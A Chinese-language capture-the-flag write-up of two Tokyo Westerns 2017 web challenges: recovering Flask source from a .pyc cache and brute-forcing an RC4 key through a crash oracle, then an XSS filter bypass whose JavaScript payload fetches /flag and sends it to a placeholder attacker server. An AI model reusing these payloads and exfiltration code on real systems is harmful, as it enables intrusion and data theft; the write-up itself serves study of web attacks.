学习一下新的操作。 +2EXP
Super Secure Storage
首先这个网站提供了两个功能,加密与解密,一开始查看js代码发现是RC4加密,然后就以为是js代码审计,卡了超久,不知道什么时候一时兴起查看/robots.txt
,发现了Disallow: /super_secret_secure_shared_directory_for_customer/
路径里是两个配置文件securestorage.conf
和securestorage.ini
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
| #securestorage.conf
server {
listen 80;
server_name s3.chal.ctf.westerns.tokyo;
root /srv/securestorage;
index index.html;
location / {
try_files $uri $uri/ @app;
}
location @app {
include uwsgi_params;
uwsgi_pass unix:///tmp/uwsgi.securestorage.sock;
}
location ~ (\.py|\.sqlite3)$ {
deny all;
}
}
} |
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| #securestorage.ini
[uwsgi]
chdir = /srv/securestorage
uid = www-data
gid = www-data
module = app
callable = app
socket = /tmp/uwsgi.securestorage.sock
chmod-socket = 666
vacuum = true
die-on-term = true
logto = /var/log/uwsgi/securestorage.log
processes = 8
env = SECRET_KEY=**CENSORED**
env = KEY=**CENSORED**
env = FLAG=**CENSORED** |
通过配置文件能知道是nginx和uWSGI,以及后台使用的为python与sqlite,nginx里禁用了.py
与.sqlite3
的访问,所以不能通过直接访问http://s3.chal.ctf.westerns.tokyo/app.py 来获取源码了。但是有一种窍门,通过.pyc
缓存文件来获取源码 http://s3.chal.ctf.westerns.tokyo/__pycache__/app.cpython-35.pyc
然后可以使用uncompyle6工具对缓存文件进行反编译。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
| from flask import Flask, jsonify, request
from flask_sqlalchemy import SQLAlchemy
import hashlib
import os
app = Flask(__name__)
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///./db.sqlite3'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = True
app.secret_key = os.environ['SECRET_KEY']
db = SQLAlchemy(app)
class Data(db.Model):
__tablename__ = 'data'
id = db.Column(db.Integer, primary_key=True)
key = db.Column(db.String)
data = db.Column(db.String)
def __init__(self, key, data):
self.key = key
self.data = data
def __repr__(self):
return '<Data id:{}, key:{}, data:{}>'.format(self.id, self.key, self.data)
class RC4:
def __init__(self, key=app.secret_key):
self.stream = self.PRGA(self.KSA(key))
def enc(self, c):
return chr(ord(c) ^ next(self.stream))
@staticmethod
def KSA(key):
keylen = len(key)
S = list(range(256))
j = 0
for i in range(256):
j = j + S[i] + ord(key[i % keylen]) & 255
S[i], S[j] = S[j], S[i]
return S
@staticmethod
def PRGA(S):
i = 0
j = 0
while True:
i = i + 1 & 255
j = j + S[i] & 255
S[i], S[j] = S[j], S[i]
yield S[S[i] + S[j] & 255]
def verify(enc_pass, input_pass):
if len(enc_pass) != len(input_pass):
return False
rc4 = RC4()
for x, y in zip(enc_pass, input_pass):
if x != rc4.enc(y):
return False
return True
@app.before_first_request
def init():
db.create_all()
if not Data.query.get(1):
key = os.environ['KEY']
data = os.environ['FLAG']
rc4 = RC4()
enckey = ''
for c in key:
enckey += rc4.enc(c)
rc4 = RC4(key)
encdata = ''
for c in data:
encdata += rc4.enc(c)
flag = Data(enckey, encdata)
db.session.add(flag)
db.session.commit()
@app.route('/api/data', methods=['POST'])
def new():
req = request.json
if not req:
return jsonify(result=False)
for k in ['data', 'key']:
if k not in req:
return jsonify(result=False)
key, data = req['key'], req['data']
if len(key) < 8 or len(data) == 0:
return jsonify(result=False)
enckey = ''
rc4 = RC4()
for c in key:
enckey += rc4.enc(c)
encdata = ''
rc4 = RC4(key)
for c in data:
encdata += rc4.enc(c)
newdata = Data(enckey, encdata)
db.session.add(newdata)
db.session.commit()
return jsonify(result=True, id=newdata.id, data=newdata.data)
@app.route('/api/data/<int:data_id>')
def data(data_id):
data = Data.query.get(data_id)
if not data:
return jsonify(result=False)
return jsonify(result=True, data=data.data)
@app.route('/api/data/<int:data_id>/check', methods=['POST'])
def check(data_id):
data = Data.query.get(data_id)
if not data:
return jsonify(result=False)
req = request.json
if not req:
return jsonify(result=False)
for k in ['key']:
if k not in req:
return jsonify(result=False)
enckey, key = data.key, req['key']
if not verify(enckey, key):
return jsonify(result=False)
return jsonify(result=True)
if __name__ == '__main__':
app.run()
|
从js里已经得知是rc4加密,但是这题是个web题,所以RC4加密函数部分可以不用看了。
从下面代码可以猜测id为1的消息应该是加密后的flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| if not Data.query.get(1):
key = os.environ['KEY']
data = os.environ['FLAG']
rc4 = RC4()
enckey = ''
for c in key:
enckey += rc4.enc(c)
rc4 = RC4(key)
encdata = ''
for c in data:
encdata += rc4.enc(c)
flag = Data(enckey, encdata)
db.session.add(flag)
|
下面的代码则是本题的突破点
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
| @app.route('/api/data/<int:data_id>/check', methods=['POST'])
def check(data_id):
data = Data.query.get(data_id)
if not data:
return jsonify(result=False)
req = request.json
if not req:
return jsonify(result=False)
for k in ['key']:
if k not in req:
return jsonify(result=False)
enckey, key = data.key, req['key']
if not verify(enckey, key):
return jsonify(result=False)
return jsonify(result=True)
# ...
def verify(enc_pass, input_pass):
if len(enc_pass) != len(input_pass):
return False
rc4 = RC4()
for x, y in zip(enc_pass, input_pass):
if x != rc4.enc(y):
return False
return True
# ...
def enc(self, c):
return chr(ord(c) ^ next(self.stream))
|
如果传入key的长度和真正的key长度不一致,就直接返回false,长度验证完毕后再将key的每个字符加密,并将其与真正的key的相应字符进行比较,如有一位不同就返回false。因为check()
接受包含key
参数的JSON,并不检查key
参数的类型,所以就可以用list
来构造字符串{"key" : ["a","b","c"]}
,因为null的异或会造成崩溃,所以就可以用来猜测key的长度以及key按顺序的每一位。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
| import requests
import json
url = "http://s3.chal.ctf.westerns.tokyo/api/data/1/check"
header = {'Content-Type': 'application/json;charset=UTF-8'}
aList = ["null"]
keylist = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"
key = ''
while True:
data = {'key':aList}
re = requests.post(url, data=json.dumps(data),headers=header)
if '500' in re.content:
break
else:
aList.append("null")
print len(aList)
for i in range(len(aList)):
for k in keylist:
aList[i] = k
data = {'key':aList}
re = requests.post(url, data=json.dumps(data),headers=header)
if '500' in re.content:
key += k
print key
break
|
Clock Style Sheet
首先题目提供了两个文件proxy.py
和sanitizer.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
| #proxy.py
from flask import Flask, Response, stream_with_context, request
import requests
from sanitizer import urlsanitize
from urlparse import urlparse
app = Flask(__name__)
@app.before_request
def proxy():
if request.method not in ["GET"]:
return "{} is not allowed".format(request.method), 405
url = request.url
pr = urlparse(url)
if pr.scheme not in ['http', 'https']:
return "only HTTP or HTTPS is allowed", 400
if pr.hostname in ['localhost', '127.0.0.1'] and pr.port == 8080:
return "recursion detected", 400
url = urlsanitize(url)
headers = {k:v for k,v in request.headers if v}
try:
req = requests.get(url, headers=headers, stream=True)
except:
return "request failed", 500
headers = dict(req.headers)
if 'Content-Encoding' in headers: del(headers['Content-Encoding'])
return Response(stream_with_context(req.iter_content()), headers=headers)
if __name__ == '__main__':
app.run(debug=True, port=8080)
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| #sanitizer.py
import re
import string
def urlsanitize(s):
goodchars = string.ascii_letters + string.digits
goodchars += "/:."
return "".join([c for c in s if c in goodchars])
def htmlsanitize(s):
while True:
m = re.match(r'.*(script).*', s, re.IGNORECASE)
if not m:
break
s = s.replace(m.group(1), '')
while True:
m = re.match(r'.*(on.+=).*', s, re.IGNORECASE)
if not m:
break
s = s.replace(m.group(1), '')
return s
|
一共四个页面:/, /refresh, /chrowler, /flag
访问/flag页面,提示only local IP is allowed. (your IP: x.x.x.x)
访问/refresh,跳转到/flag
以下内容均来自Tokyo Westerns CTF 2017 – Clock Style Sheet writeup
发现用curl
访问/refresh可以获取到网页源代码,发现更改http头中的Referer
,能改变url,所以发现这里能够xss
curl -H 'Referer: blahblahblah"><' http://css.chal.ctf.westerns.tokyo/refresh
1
2
3
| <!doctype html>
<html>
<meta http-equiv="refresh" content="0;URL=blahblahblah"><">
|
又因为sanitizer.py
有过滤规则,所以构造<scrona=ipt>
来绕过
在proxy.py
中有urlsanitize
函数,所以这样构造xsshttp://attacker/?"><script>alert()</script>
是无法执行的
所以这里有个技巧,用history.pushState
来将xss代码注射到Referer中
1
2
3
4
5
6
7
8
9
10
11
12
| <script>
payload = `"><scrona=ipt>
getFlag = async () => {
content = await fetch('/flag');
await fetch('http://ATTACKERS_SERVER/' + btoa(await content.text()));
};
getFlag()
</scrona=ipt>
`;
history.pushState({}, "", "a.html?a=" + encodeURIComponent(payload));
location.href = 'http://css.chal.ctf.westerns.tokyo/refresh';
</script>
|
然而我们接受到的信息却是only local IP is allowed. (your IP: 104.215.63.152)
原来crawler并不是/flag所在的服务器,所以要获取本地ip
>After some trials, we tried to detect local IP address of crawler and web >server with WebRTC.
>( WebRTC is useful technique to detect local IP address: https://github.com/diafygi/webrtc-ips )
获得ip为192.168.0.5
,这是crawler的ip。怎么获得/flag的ip呢,wp作者的说的是猜测,于是就有了下面的代码
1
2
3
4
5
6
7
8
9
10
11
12
| <script>
payload = `"><scrona=ipt>
getFlag = async () => {
content = await fetch('/flag');
await fetch('http://ATTACKERS_SERVER/' + btoa(await content.text()));
};
getFlag()
</scrona=ipt>
`;
history.pushState({}, "", "a.html?a=" + encodeURIComponent(payload));
location.href = 'http://192.168.0.4/refresh'; // this line changed
</script>
|
ok,去平台拿flag了
参考资料:
Tokyo Westerns 2017 / Super Secure Storage
Tokyo Westerns CTF 2017 – Clock Style Sheet writeup